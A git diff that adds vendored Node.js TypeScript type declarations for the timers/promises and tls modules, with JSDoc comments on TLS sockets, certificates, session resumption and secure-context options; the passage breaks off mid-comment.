b/node_modules/@types/node/timers/promises.d.ts @@ -0,0 +1,97 @@ +/** + * The `timers/promises` API provides an alternative set of timer functions + * that return `Promise` objects. The API is accessible via `import timersPromises from 'node:timers/promises'`. + * + * ```js + * import { + * setTimeout, + * setImmediate, + * setInterval, + * } from 'node:timers/promises'; + * ``` + * @since v15.0.0 + */ +declare module "timers/promises" { + import { TimerOptions } from "node:timers"; + /** + * ```js + * import { + * setTimeout, + * } from 'node:timers/promises'; + * + * const res = await setTimeout(100, 'result'); + * + * console.log(res); // Prints 'result' + * ``` + * @since v15.0.0 + * @param [delay=1] The number of milliseconds to wait before fulfilling the promise. + * @param value A value with which the promise is fulfilled. + */ + function setTimeout(delay?: number, value?: T, options?: TimerOptions): Promise; + /** + * ```js + * import { + * setImmediate, + * } from 'node:timers/promises'; + * + * const res = await setImmediate('result'); + * + * console.log(res); // Prints 'result' + * ``` + * @since v15.0.0 + * @param value A value with which the promise is fulfilled. + */ + function setImmediate(value?: T, options?: TimerOptions): Promise; + /** + * Returns an async iterator that generates values in an interval of `delay` ms. + * If `ref` is `true`, you need to call `next()` of async iterator explicitly + * or implicitly to keep the event loop alive. + * + * ```js + * import { + * setInterval, + * } from 'node:timers/promises'; + * + * const interval = 100; + * for await (const startTime of setInterval(interval, Date.now())) { + * const now = Date.now(); + * console.log(now); + * if ((now - startTime) > 1000) + * break; + * } + * console.log(Date.now()); + * ``` + * @since v15.9.0 + */ + function setInterval(delay?: number, value?: T, options?: TimerOptions): AsyncIterable; + interface Scheduler { + /** + * An experimental API defined by the [Scheduling APIs](https://github.com/WICG/scheduling-apis) draft specification being developed as a standard Web Platform API. + * + * Calling `timersPromises.scheduler.wait(delay, options)` is roughly equivalent to calling `timersPromises.setTimeout(delay, undefined, options)` except that the `ref` + * option is not supported. + * + * ```js + * import { scheduler } from 'node:timers/promises'; + * + * await scheduler.wait(1000); // Wait one second before continuing + * ``` + * @since v16.14.0 + * @experimental + * @param [delay=1] The number of milliseconds to wait before fulfilling the promise. + */ + wait: (delay?: number, options?: Pick) => Promise; + /** + * An experimental API defined by the [Scheduling APIs](https://nodejs.org/docs/latest-v20.x/api/async_hooks.html#promise-execution-tracking) draft specification + * being developed as a standard Web Platform API. + * Calling `timersPromises.scheduler.yield()` is equivalent to calling `timersPromises.setImmediate()` with no arguments. + * @since v16.14.0 + * @experimental + */ + yield: () => Promise; + } + const scheduler: Scheduler; +} +declare module "node:timers/promises" { + export * from "timers/promises"; +} diff --git a/node_modules/@types/node/tls.d.ts b/node_modules/@types/node/tls.d.ts new file mode 100644 index 000000000000..ee81ba21f04f --- /dev/null +++ b/node_modules/@types/node/tls.d.ts @@ -0,0 +1,1220 @@ +/** + * The `node:tls` module provides an implementation of the Transport Layer Security + * (TLS) and Secure Socket Layer (SSL) protocols that is built on top of OpenSSL. + * The module can be accessed using: + * + * ```js + * import tls from 'node:tls'; + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/tls.js) + */ +declare module "tls" { + import { X509Certificate } from "node:crypto"; + import * as net from "node:net"; + import * as stream from "stream"; + const CLIENT_RENEG_LIMIT: number; + const CLIENT_RENEG_WINDOW: number; + interface Certificate { + /** + * Country code. + */ + C: string; + /** + * Street. + */ + ST: string; + /** + * Locality. + */ + L: string; + /** + * Organization. + */ + O: string; + /** + * Organizational unit. + */ + OU: string; + /** + * Common name. + */ + CN: string; + } + interface PeerCertificate { + /** + * `true` if a Certificate Authority (CA), `false` otherwise. + * @since v18.13.0 + */ + ca: boolean; + /** + * The DER encoded X.509 certificate data. + */ + raw: Buffer; + /** + * The certificate subject. + */ + subject: Certificate; + /** + * The certificate issuer, described in the same terms as the `subject`. + */ + issuer: Certificate; + /** + * The date-time the certificate is valid from. + */ + valid_from: string; + /** + * The date-time the certificate is valid to. + */ + valid_to: string; + /** + * The certificate serial number, as a hex string. + */ + serialNumber: string; + /** + * The SHA-1 digest of the DER encoded certificate. + * It is returned as a `:` separated hexadecimal string. + */ + fingerprint: string; + /** + * The SHA-256 digest of the DER encoded certificate. + * It is returned as a `:` separated hexadecimal string. + */ + fingerprint256: string; + /** + * The SHA-512 digest of the DER encoded certificate. + * It is returned as a `:` separated hexadecimal string. + */ + fingerprint512: string; + /** + * The extended key usage, a set of OIDs. + */ + ext_key_usage?: string[]; + /** + * A string containing concatenated names for the subject, + * an alternative to the `subject` names. + */ + subjectaltname?: string; + /** + * An array describing the AuthorityInfoAccess, used with OCSP. + */ + infoAccess?: NodeJS.Dict; + /** + * For RSA keys: The RSA bit size. + * + * For EC keys: The key size in bits. + */ + bits?: number; + /** + * The RSA exponent, as a string in hexadecimal number notation. + */ + exponent?: string; + /** + * The RSA modulus, as a hexadecimal string. + */ + modulus?: string; + /** + * The public key. + */ + pubkey?: Buffer; + /** + * The ASN.1 name of the OID of the elliptic curve. + * Well-known curves are identified by an OID. + * While it is unusual, it is possible that the curve + * is identified by its mathematical properties, + * in which case it will not have an OID. + */ + asn1Curve?: string; + /** + * The NIST name for the elliptic curve, if it has one + * (not all well-known curves have been assigned names by NIST). + */ + nistCurve?: string; + } + interface DetailedPeerCertificate extends PeerCertificate { + /** + * The issuer certificate object. + * For self-signed certificates, this may be a circular reference. + */ + issuerCertificate: DetailedPeerCertificate; + } + interface CipherNameAndProtocol { + /** + * The cipher name. + */ + name: string; + /** + * SSL/TLS protocol version. + */ + version: string; + /** + * IETF name for the cipher suite. + */ + standardName: string; + } + interface EphemeralKeyInfo { + /** + * The supported types are 'DH' and 'ECDH'. + */ + type: string; + /** + * The name property is available only when type is 'ECDH'. + */ + name?: string | undefined; + /** + * The size of parameter of an ephemeral key exchange. + */ + size: number; + } + interface KeyObject { + /** + * Private keys in PEM format. + */ + pem: string | Buffer; + /** + * Optional passphrase. + */ + passphrase?: string | undefined; + } + interface PxfObject { + /** + * PFX or PKCS12 encoded private key and certificate chain. + */ + buf: string | Buffer; + /** + * Optional passphrase. + */ + passphrase?: string | undefined; + } + interface TLSSocketOptions extends SecureContextOptions, CommonConnectionOptions { + /** + * If true the TLS socket will be instantiated in server-mode. + * Defaults to false. + */ + isServer?: boolean | undefined; + /** + * An optional net.Server instance. + */ + server?: net.Server | undefined; + /** + * An optional Buffer instance containing a TLS session. + */ + session?: Buffer | undefined; + /** + * If true, specifies that the OCSP status request extension will be + * added to the client hello and an 'OCSPResponse' event will be + * emitted on the socket before establishing a secure communication + */ + requestOCSP?: boolean | undefined; + } + /** + * Performs transparent encryption of written data and all required TLS + * negotiation. + * + * Instances of `tls.TLSSocket` implement the duplex `Stream` interface. + * + * Methods that return TLS connection metadata (e.g.{@link TLSSocket.getPeerCertificate}) will only return data while the + * connection is open. + * @since v0.11.4 + */ + class TLSSocket extends net.Socket { + /** + * Construct a new tls.TLSSocket object from an existing TCP socket. + */ + constructor(socket: net.Socket | stream.Duplex, options?: TLSSocketOptions); + /** + * This property is `true` if the peer certificate was signed by one of the CAs + * specified when creating the `tls.TLSSocket` instance, otherwise `false`. + * @since v0.11.4 + */ + authorized: boolean; + /** + * Returns the reason why the peer's certificate was not been verified. This + * property is set only when `tlsSocket.authorized === false`. + * @since v0.11.4 + */ + authorizationError: Error; + /** + * Always returns `true`. This may be used to distinguish TLS sockets from regular`net.Socket` instances. + * @since v0.11.4 + */ + encrypted: true; + /** + * String containing the selected ALPN protocol. + * Before a handshake has completed, this value is always null. + * When a handshake is completed but not ALPN protocol was selected, tlsSocket.alpnProtocol equals false. + */ + alpnProtocol: string | false | null; + /** + * Returns an object representing the local certificate. The returned object has + * some properties corresponding to the fields of the certificate. + * + * See {@link TLSSocket.getPeerCertificate} for an example of the certificate + * structure. + * + * If there is no local certificate, an empty object will be returned. If the + * socket has been destroyed, `null` will be returned. + * @since v11.2.0 + */ + getCertificate(): PeerCertificate | object | null; + /** + * Returns an object containing information on the negotiated cipher suite. + * + * For example, a TLSv1.2 protocol with AES256-SHA cipher: + * + * ```json + * { + * "name": "AES256-SHA", + * "standardName": "TLS_RSA_WITH_AES_256_CBC_SHA", + * "version": "SSLv3" + * } + * ``` + * + * See [SSL\_CIPHER\_get\_name](https://www.openssl.org/docs/man1.1.1/man3/SSL_CIPHER_get_name.html) for more information. + * @since v0.11.4 + */ + getCipher(): CipherNameAndProtocol; + /** + * Returns an object representing the type, name, and size of parameter of + * an ephemeral key exchange in `perfect forward secrecy` on a client + * connection. It returns an empty object when the key exchange is not + * ephemeral. As this is only supported on a client socket; `null` is returned + * if called on a server socket. The supported types are `'DH'` and `'ECDH'`. The `name` property is available only when type is `'ECDH'`. + * + * For example: `{ type: 'ECDH', name: 'prime256v1', size: 256 }`. + * @since v5.0.0 + */ + getEphemeralKeyInfo(): EphemeralKeyInfo | object | null; + /** + * As the `Finished` messages are message digests of the complete handshake + * (with a total of 192 bits for TLS 1.0 and more for SSL 3.0), they can + * be used for external authentication procedures when the authentication + * provided by SSL/TLS is not desired or is not enough. + * + * Corresponds to the `SSL_get_finished` routine in OpenSSL and may be used + * to implement the `tls-unique` channel binding from [RFC 5929](https://tools.ietf.org/html/rfc5929). + * @since v9.9.0 + * @return The latest `Finished` message that has been sent to the socket as part of a SSL/TLS handshake, or `undefined` if no `Finished` message has been sent yet. + */ + getFinished(): Buffer | undefined; + /** + * Returns an object representing the peer's certificate. If the peer does not + * provide a certificate, an empty object will be returned. If the socket has been + * destroyed, `null` will be returned. + * + * If the full certificate chain was requested, each certificate will include an`issuerCertificate` property containing an object representing its issuer's + * certificate. + * @since v0.11.4 + * @param detailed Include the full certificate chain if `true`, otherwise include just the peer's certificate. + * @return A certificate object. + */ + getPeerCertificate(detailed: true): DetailedPeerCertificate; + getPeerCertificate(detailed?: false): PeerCertificate; + getPeerCertificate(detailed?: boolean): PeerCertificate | DetailedPeerCertificate; + /** + * As the `Finished` messages are message digests of the complete handshake + * (with a total of 192 bits for TLS 1.0 and more for SSL 3.0), they can + * be used for external authentication procedures when the authentication + * provided by SSL/TLS is not desired or is not enough. + * + * Corresponds to the `SSL_get_peer_finished` routine in OpenSSL and may be used + * to implement the `tls-unique` channel binding from [RFC 5929](https://tools.ietf.org/html/rfc5929). + * @since v9.9.0 + * @return The latest `Finished` message that is expected or has actually been received from the socket as part of a SSL/TLS handshake, or `undefined` if there is no `Finished` message so + * far. + */ + getPeerFinished(): Buffer | undefined; + /** + * Returns a string containing the negotiated SSL/TLS protocol version of the + * current connection. The value `'unknown'` will be returned for connected + * sockets that have not completed the handshaking process. The value `null` will + * be returned for server sockets or disconnected client sockets. + * + * Protocol versions are: + * + * * `'SSLv3'` + * * `'TLSv1'` + * * `'TLSv1.1'` + * * `'TLSv1.2'` + * * `'TLSv1.3'` + * + * See the OpenSSL [`SSL_get_version`](https://www.openssl.org/docs/man1.1.1/man3/SSL_get_version.html) documentation for more information. + * @since v5.7.0 + */ + getProtocol(): string | null; + /** + * Returns the TLS session data or `undefined` if no session was + * negotiated. On the client, the data can be provided to the `session` option of {@link connect} to resume the connection. On the server, it may be useful + * for debugging. + * + * See `Session Resumption` for more information. + * + * Note: `getSession()` works only for TLSv1.2 and below. For TLSv1.3, applications + * must use the `'session'` event (it also works for TLSv1.2 and below). + * @since v0.11.4 + */ + getSession(): Buffer | undefined; + /** + * See [SSL\_get\_shared\_sigalgs](https://www.openssl.org/docs/man1.1.1/man3/SSL_get_shared_sigalgs.html) for more information. + * @since v12.11.0 + * @return List of signature algorithms shared between the server and the client in the order of decreasing preference. + */ + getSharedSigalgs(): string[]; + /** + * For a client, returns the TLS session ticket if one is available, or`undefined`. For a server, always returns `undefined`. + * + * It may be useful for debugging. + * + * See `Session Resumption` for more information. + * @since v0.11.4 + */ + getTLSTicket(): Buffer | undefined; + /** + * See `Session Resumption` for more information. + * @since v0.5.6 + * @return `true` if the session was reused, `false` otherwise. + */ + isSessionReused(): boolean; + /** + * The `tlsSocket.renegotiate()` method initiates a TLS renegotiation process. + * Upon completion, the `callback` function will be passed a single argument + * that is either an `Error` (if the request failed) or `null`. + * + * This method can be used to request a peer's certificate after the secure + * connection has been established. + * + * When running as the server, the socket will be destroyed with an error after `handshakeTimeout` timeout. + * + * For TLSv1.3, renegotiation cannot be initiated, it is not supported by the + * protocol. + * @since v0.11.8 + * @param callback If `renegotiate()` returned `true`, callback is attached once to the `'secure'` event. If `renegotiate()` returned `false`, `callback` will be called in the next tick with + * an error, unless the `tlsSocket` has been destroyed, in which case `callback` will not be called at all. + * @return `true` if renegotiation was initiated, `false` otherwise. + */ + renegotiate( + options: { + rejectUnauthorized?: boolean | undefined; + requestCert?: boolean | undefined; + }, + callback: (err: Error | null) => void, + ): undefined | boolean; + /** + * The `tlsSocket.setMaxSendFragment()` method sets the maximum TLS fragment size. + * Returns `true` if setting the limit succeeded; `false` otherwise. + * + * Smaller fragment sizes decrease the buffering latency on the client: larger + * fragments are buffered by the TLS layer until the entire fragment is received + * and its integrity is verified; large fragments can span multiple roundtrips + * and their processing can be delayed due to packet loss or reordering. However, + * smaller fragments add extra TLS framing bytes and CPU overhead, which may + * decrease overall server throughput. + * @since v0.11.11 + * @param [size=16384] The maximum TLS fragment size. The maximum value is `16384`. + */ + setMaxSendFragment(size: number): boolean; + /** + * Disables TLS renegotiation for this `TLSSocket` instance. Once called, attempts + * to renegotiate will trigger an `'error'` event on the `TLSSocket`. + * @since v8.4.0 + */ + disableRenegotiation(): void; + /** + * When enabled, TLS packet trace information is written to `stderr`. This can be + * used to debug TLS connection problems. + * + * The format of the output is identical to the output of`openssl s_client -trace` or `openssl s_server -trace`. While it is produced by + * OpenSSL's `SSL_trace()` function, the format is undocumented, can change + * without notice, and should not be relied on. + * @since v12.2.0 + */ + enableTrace(): void; + /** + * Returns the peer certificate as an `X509Certificate` object. + * + * If there is no peer certificate, or the socket has been destroyed,`undefined` will be returned. + * @since v15.9.0 + */ + getPeerX509Certificate(): X509Certificate | undefined; + /** + * Returns the local certificate as an `X509Certificate` object. + * + * If there is no local certificate, or the socket has been destroyed,`undefined` will be returned. + * @since v15.9.0 + */ + getX509Certificate(): X509Certificate | undefined; + /** + * Keying material is used for validations to prevent different kind of attacks in + * network protocols, for example in the specifications of IEEE 802.1X. + * + * Example + * + * ```js + * const keyingMaterial = tlsSocket.exportKeyingMaterial( + * 128, + * 'client finished'); + * + * /* + * Example return value of keyingMaterial: + * + * + * ``` + * + * See the OpenSSL [`SSL_export_keying_material`](https://www.openssl.org/docs/man1.1.1/man3/SSL_export_keying_material.html) documentation for more + * information. + * @since v13.10.0, v12.17.0 + * @param length number of bytes to retrieve from keying material + * @param label an application specific label, typically this will be a value from the [IANA Exporter Label + * Registry](https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml#exporter-labels). + * @param context Optionally provide a context. + * @return requested bytes of the keying material + */ + exportKeyingMaterial(length: number, label: string, context: Buffer): Buffer; + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "OCSPResponse", listener: (response: Buffer) => void): this; + addListener(event: "secureConnect", listener: () => void): this; + addListener(event: "session", listener: (session: Buffer) => void): this; + addListener(event: "keylog", listener: (line: Buffer) => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "OCSPResponse", response: Buffer): boolean; + emit(event: "secureConnect"): boolean; + emit(event: "session", session: Buffer): boolean; + emit(event: "keylog", line: Buffer): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "OCSPResponse", listener: (response: Buffer) => void): this; + on(event: "secureConnect", listener: () => void): this; + on(event: "session", listener: (session: Buffer) => void): this; + on(event: "keylog", listener: (line: Buffer) => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "OCSPResponse", listener: (response: Buffer) => void): this; + once(event: "secureConnect", listener: () => void): this; + once(event: "session", listener: (session: Buffer) => void): this; + once(event: "keylog", listener: (line: Buffer) => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "OCSPResponse", listener: (response: Buffer) => void): this; + prependListener(event: "secureConnect", listener: () => void): this; + prependListener(event: "session", listener: (session: Buffer) => void): this; + prependListener(event: "keylog", listener: (line: Buffer) => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "OCSPResponse", listener: (response: Buffer) => void): this; + prependOnceListener(event: "secureConnect", listener: () => void): this; + prependOnceListener(event: "session", listener: (session: Buffer) => void): this; + prependOnceListener(event: "keylog", listener: (line: Buffer) => void): this; + } + interface CommonConnectionOptions { + /** + * An optional TLS context object from tls.createSecureContext() + */ + secureContext?: SecureContext | undefined; + /** + * When enabled, TLS packet trace information is written to `stderr`. This can be + * used to debug TLS connection problems. + * @default false + */ + enableTrace?: boolean | undefined; + /** + * If true the server will request a certificate from clients that + * connect and attempt to verify that certificate. Defaults to + * false. + */ + requestCert?: boolean | undefined; + /** + * An array of strings or a Buffer naming possible ALPN protocols. + * (Protocols should be ordered by their priority.) + */ + ALPNProtocols?: string[] | Uint8Array[] | Uint8Array | undefined; + /** + * SNICallback(servername, cb) A function that will be + * called if the client supports SNI TLS extension. Two arguments + * will be passed when called: servername and cb. SNICallback should + * invoke cb(null, ctx), where ctx is a SecureContext instance. + * (tls.createSecureContext(...) can be used to get a proper + * SecureContext.) If SNICallback wasn't provided the default callback + * with high-level API will be used (see below). + */ + SNICallback?: ((servername: string, cb: (err: Error | null, ctx?: SecureContext) => void) => void) | undefined; + /** + * If true the server will reject any connection which is not + * authorized with the list of supplied CAs. This option only has an + * effect if requestCert is true. + * @default true + */ + rejectUnauthorized?: boolean | undefined; + } + interface TlsOptions extends SecureContextOptions, CommonConnectionOptions, net.ServerOpts { + /** + * Abort the connection if the SSL/TLS handshake does not finish in the + * specified number of milliseconds. A 'tlsClientError' is emitted on + * the tls.Server object whenever a handshake times out. Default: + * 120000 (120 seconds). + */ + handshakeTimeout?: number | undefined; + /** + * The number of seconds after which a TLS session created by the + * server will no longer be resumable. See Session Resumption for more + * information. Default: 300. + */ + sessionTimeout?: number | undefined; + /** + * 48-bytes of cryptographically strong pseudo-random data. + */ + ticketKeys?: Buffer | undefined; + /** + * @param socket + * @param identity identity parameter sent from the client. + * @return pre-shared key that must either be + * a buffer or `null` to stop the negotiation process. Returned PSK must be + * compatible with the selected cipher's digest. + * + * When negotiating TLS-PSK (pre-shared keys), this function is called + * with the identity provided by the client. + * If the return value is `null` the negotiation process will stop and an + * "unknown_psk_identity" alert message will be sent to the other party. + * If the server wishes to hide the fact that the PSK identity was not known, + * the callback must provide some random data as `psk` to make the connection + * fail with "decrypt_error" before negotiation is finished. + * PSK ciphers are disabled by default, and using TLS-PSK thus + * requires explicitly specifying a cipher suite with the `ciphers` option. + * More information can be found in the RFC 4279. + */ + pskCallback?(socket: TLSSocket, identity: string): DataView | NodeJS.TypedArray | null; + /** + * hint to send to a client to help + * with selecting the identity during TLS-PSK negotiation. Will be ignored + * in TLS 1.3. Upon failing to set pskIdentityHint `tlsClientError` will be + * emitted with `ERR_TLS_PSK_SET_IDENTIY_HINT_FAILED` code. + */ + pskIdentityHint?: string | undefined; + } + interface PSKCallbackNegotation { + psk: DataView | NodeJS.TypedArray; + identity: string; + } + interface ConnectionOptions extends SecureContextOptions, CommonConnectionOptions { + host?: string | undefined; + port?: number | undefined; + path?: string | undefined; // Creates unix socket connection to path. If this option is specified, `host` and `port` are ignored. + socket?: stream.Duplex | undefined; // Establish secure connection on a given socket rather than creating a new socket + checkServerIdentity?: typeof checkServerIdentity | undefined; + servername?: string | undefined; // SNI TLS Extension + session?: Buffer | undefined; + minDHSize?: number | undefined; + lookup?: net.LookupFunction | undefined; + timeout?: number | undefined; + /** + * When negotiating TLS-PSK (pre-shared keys), this function is called + * with optional identity `hint` provided by the server or `null` + * in case of TLS 1.3 where `hint` was removed. + * It will be necessary to provide a custom `tls.checkServerIdentity()` + * for the connection as the default one will try to check hostname/IP + * of the server against the certificate but that's not applicable for PSK + * because there won't be a certificate present. + * More information can be found in the RFC 4279. + * + * @param hint message sent from the server to help client + * decide which identity to use during negotiation. + * Always `null` if TLS 1.3 is used. + * @returns Return `null` to stop the negotiation process. `psk` must be + * compatible with the selected cipher's digest. + * `identity` must use UTF-8 encoding. + */ + pskCallback?(hint: string | null): PSKCallbackNegotation | null; + } + /** + * Accepts encrypted connections using TLS or SSL. + * @since v0.3.2 + */ + class Server extends net.Server { + constructor(secureConnectionListener?: (socket: TLSSocket) => void); + constructor(options: TlsOptions, secureConnectionListener?: (socket: TLSSocket) => void); + /** + * The `server.addContext()` method adds a secure context that will be used if + * the client request's SNI name matches the supplied `hostname` (or wildcard). + * + * When there are multiple matching contexts, the most recently added one is + * used. + * @since v0.5.3 + * @param hostname A SNI host name or wildcard (e.g. `'*'`) + * @param context An object containing any of the possible properties from the {@link createSecureContext} `options` arguments (e.g. `key`, `cert`, `ca`, etc), or a TLS context object created + * with {@link createSecureContext} itself. + */ + addContext(hostname: string, context: SecureContextOptions): void; + /** + * Returns the session ticket keys. + * + * See `Session Resumption` for more information. + * @since v3.0.0 + * @return A 48-byte buffer containing the session ticket keys. + */ + getTicketKeys(): Buffer; + /** + * The `server.setSecureContext()` method replaces the secure context of an + * existing server. Existing connections to the server are not interrupted. + * @since v11.0.0 + * @param options An object containing any of the possible properties from the {@link createSecureContext} `options` arguments (e.g. `key`, `cert`, `ca`, etc). + */ + setSecureContext(options: SecureContextOptions): void; + /** + * Sets the session ticket keys. + * + * Changes to the ticket keys are effective only for future server connections. + * Existing or currently pending server connections will use the previous keys. + * + * See `Session Resumption` for more information. + * @since v3.0.0 + * @param keys A 48-byte buffer containing the session ticket keys. + */ + setTicketKeys(keys: Buffer): void; + /** + * events.EventEmitter + * 1. tlsClientError + * 2. newSession + * 3. OCSPRequest + * 4. resumeSession + * 5. secureConnection + * 6. keylog + */ + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "tlsClientError", listener: (err: Error, tlsSocket: TLSSocket) => void): this; + addListener( + event: "newSession", + listener: (sessionId: Buffer, sessionData: Buffer, callback: () => void) => void, + ): this; + addListener( + event: "OCSPRequest", + listener: ( + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ) => void, + ): this; + addListener( + event: "resumeSession", + listener: (sessionId: Buffer, callback: (err: Error | null, sessionData: Buffer | null) => void) => void, + ): this; + addListener(event: "secureConnection", listener: (tlsSocket: TLSSocket) => void): this; + addListener(event: "keylog", listener: (line: Buffer, tlsSocket: TLSSocket) => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "tlsClientError", err: Error, tlsSocket: TLSSocket): boolean; + emit(event: "newSession", sessionId: Buffer, sessionData: Buffer, callback: () => void): boolean; + emit( + event: "OCSPRequest", + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ): boolean; + emit( + event: "resumeSession", + sessionId: Buffer, + callback: (err: Error | null, sessionData: Buffer | null) => void, + ): boolean; + emit(event: "secureConnection", tlsSocket: TLSSocket): boolean; + emit(event: "keylog", line: Buffer, tlsSocket: TLSSocket): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "tlsClientError", listener: (err: Error, tlsSocket: TLSSocket) => void): this; + on(event: "newSession", listener: (sessionId: Buffer, sessionData: Buffer, callback: () => void) => void): this; + on( + event: "OCSPRequest", + listener: ( + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ) => void, + ): this; + on( + event: "resumeSession", + listener: (sessionId: Buffer, callback: (err: Error | null, sessionData: Buffer | null) => void) => void, + ): this; + on(event: "secureConnection", listener: (tlsSocket: TLSSocket) => void): this; + on(event: "keylog", listener: (line: Buffer, tlsSocket: TLSSocket) => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "tlsClientError", listener: (err: Error, tlsSocket: TLSSocket) => void): this; + once( + event: "newSession", + listener: (sessionId: Buffer, sessionData: Buffer, callback: () => void) => void, + ): this; + once( + event: "OCSPRequest", + listener: ( + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ) => void, + ): this; + once( + event: "resumeSession", + listener: (sessionId: Buffer, callback: (err: Error | null, sessionData: Buffer | null) => void) => void, + ): this; + once(event: "secureConnection", listener: (tlsSocket: TLSSocket) => void): this; + once(event: "keylog", listener: (line: Buffer, tlsSocket: TLSSocket) => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "tlsClientError", listener: (err: Error, tlsSocket: TLSSocket) => void): this; + prependListener( + event: "newSession", + listener: (sessionId: Buffer, sessionData: Buffer, callback: () => void) => void, + ): this; + prependListener( + event: "OCSPRequest", + listener: ( + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ) => void, + ): this; + prependListener( + event: "resumeSession", + listener: (sessionId: Buffer, callback: (err: Error | null, sessionData: Buffer | null) => void) => void, + ): this; + prependListener(event: "secureConnection", listener: (tlsSocket: TLSSocket) => void): this; + prependListener(event: "keylog", listener: (line: Buffer, tlsSocket: TLSSocket) => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "tlsClientError", listener: (err: Error, tlsSocket: TLSSocket) => void): this; + prependOnceListener( + event: "newSession", + listener: (sessionId: Buffer, sessionData: Buffer, callback: () => void) => void, + ): this; + prependOnceListener( + event: "OCSPRequest", + listener: ( + certificate: Buffer, + issuer: Buffer, + callback: (err: Error | null, resp: Buffer) => void, + ) => void, + ): this; + prependOnceListener( + event: "resumeSession", + listener: (sessionId: Buffer, callback: (err: Error | null, sessionData: Buffer | null) => void) => void, + ): this; + prependOnceListener(event: "secureConnection", listener: (tlsSocket: TLSSocket) => void): this; + prependOnceListener(event: "keylog", listener: (line: Buffer, tlsSocket: TLSSocket) => void): this; + } + /** + * @deprecated since v0.11.3 Use `tls.TLSSocket` instead. + */ + interface SecurePair { + encrypted: TLSSocket; + cleartext: TLSSocket; + } + type SecureVersion = "TLSv1.3" | "TLSv1.2" | "TLSv1.1" | "TLSv1"; + interface SecureContextOptions { + /** + * If set, this will be called when a client opens a connection using the ALPN extension. + * One argument will be passed to the callback: an object containing `servername` and `protocols` fields, + * respectively containing the server name from the SNI extension (if any) and an array of + * ALPN protocol name strings. The callback must return either one of the strings listed in `protocols`, + * which will be returned to the client as the selected ALPN protocol, or `undefined`, + * to reject the connection with a fatal alert. If a string is returned that does not match one of + * the client's ALPN protocols, an error will be thrown. + * This option cannot be used with the `ALPNProtocols` option, and setting both options will throw an error. + */ + ALPNCallback?: ((arg: { servername: string; protocols: string[] }) => string | undefined) | undefined; + /** + * Optionally override the trusted CA certificates. Default is to trust + * the well-known CAs curated by Mozilla. Mozilla's CAs are completely + * replaced when CAs are explicitly specified using this option. + */ + ca?: string | Buffer | Array | undefined; + /** + * Cert chains in PEM format. One cert chain should be provided per + * private key. Each cert chain should consist of the PEM formatted + * certificate for a provided private key, followed by the PEM + * formatted intermediate certificates (if any), in order, and not + * including the root CA (the root CA must be pre-known to the peer, + * see ca). When providing multiple cert chains, they do not have to + * be in the same order as their private keys in key. If the + * intermediate certificates are not provided, the peer will not be + * able to validate the certificate, and the handshake will fail. + */ + cert?: string | Buffer | Array | undefined; + /** + * Colon-separated list of supported signature algorithms. The list + * can contain digest algorithms (SHA256, MD5 etc.), public key + * algorithms (RSA-PSS, ECDSA etc.), combination of both (e.g + * 'RSA+SHA384') or TLS v1.3 scheme names (e.g. rsa_pss_pss_sha512). + */ + sigalgs?: string | undefined; + /** + * Cipher suite specification, replacing the default. For more + * information, see modifying the default cipher suite. Permitted + * ciphers can be obtained via tls.getCiphers(). Cipher names must be + * uppercased in order for OpenSSL to accept them. + */ + ciphers?: string | undefined; + /** + * Name of an OpenSSL engine which can provide the client certificate. + * @deprecated + */ + clientCertEngine?: string | undefined; + /** + * PEM formatted CRLs (Certificate Revocation Lists). + */ + crl?: string | Buffer | Array | undefined; + /** + * `'auto'` or custom Diffie-Hellman parameters, required for non-ECDHE perfect forward secrecy. + * If omitted or invalid, the parameters are silently discarded and DHE ciphers will not be available. + * ECDHE-based perfect forward secrecy will still be available. + */ + dhparam?: string | Buffer | undefined; + /** + * A string describing a named curve or a colon separated list of curve + * NIDs or names, for example P-521:P-384:P-256, to use for ECDH key + * agreement. Set to auto to select the curve automatically. Use + * crypto.getCurves() to obtain a list of available curve names. On + * recent releases, openssl ecparam -list_curves will also display the + * name and description of each available elliptic curve. Default: + * tls.DEFAULT_ECDH_CURVE. + */ + ecdhCurve?: string | undefined; + /** + * Attempt to use the server's cipher suite preferences instead of the + * client's. When true, causes SSL_OP_CIPHER_SERVER_PREFERENCE to be + * set in secureOptions + */ + honorCipherOrder?: boolean | undefined; + /** + * Private keys in PEM format. PEM allows the option of private keys + * being encrypted. Encrypted keys will be decrypted with + * options.passphrase. Multiple keys using different algorithms can be + * provided either as an array of unencrypted key strings or buffers, + * or an array of objects in the form {pem: [, + * passphrase: ]}. The object form can only occur in an array. + * object.passphrase is optional. Encrypted keys will be decrypted with + * object.passphrase if provided, or options.passphrase if it is not. + */ + key?: string | Buffer | Array | undefined; + /** + * Name of an OpenSSL engine to get private key from. Should be used + * together with privateKeyIdentifier. + * @deprecated + */ + privateKeyEngine?: string | undefined; + /** + * Identifier of a private key managed by an OpenSSL engine. Should be + * used together with privateKeyEngine. Should not be set together with + * key, because both options define a private key in different ways. + * @deprecated + */ + privateKeyIdentifier?: string | undefined; + /** + * Optionally set the maximum TLS version to allow. One + * of `'TLSv1.3'`, `'TLSv1.2'`, `'TLSv1.1'`, or `'TLSv1'`. Cannot be specified along with the + * `secureProtocol` option, use one or the other. + * **Default:** `'TLSv1.3'`, unless changed using CLI options. Using + * `--tls-max-v1.2` sets the default to `'TLSv1.2'`. Using `--tls-max-v1.3` sets the default to + * `'TLSv1.3'`. If 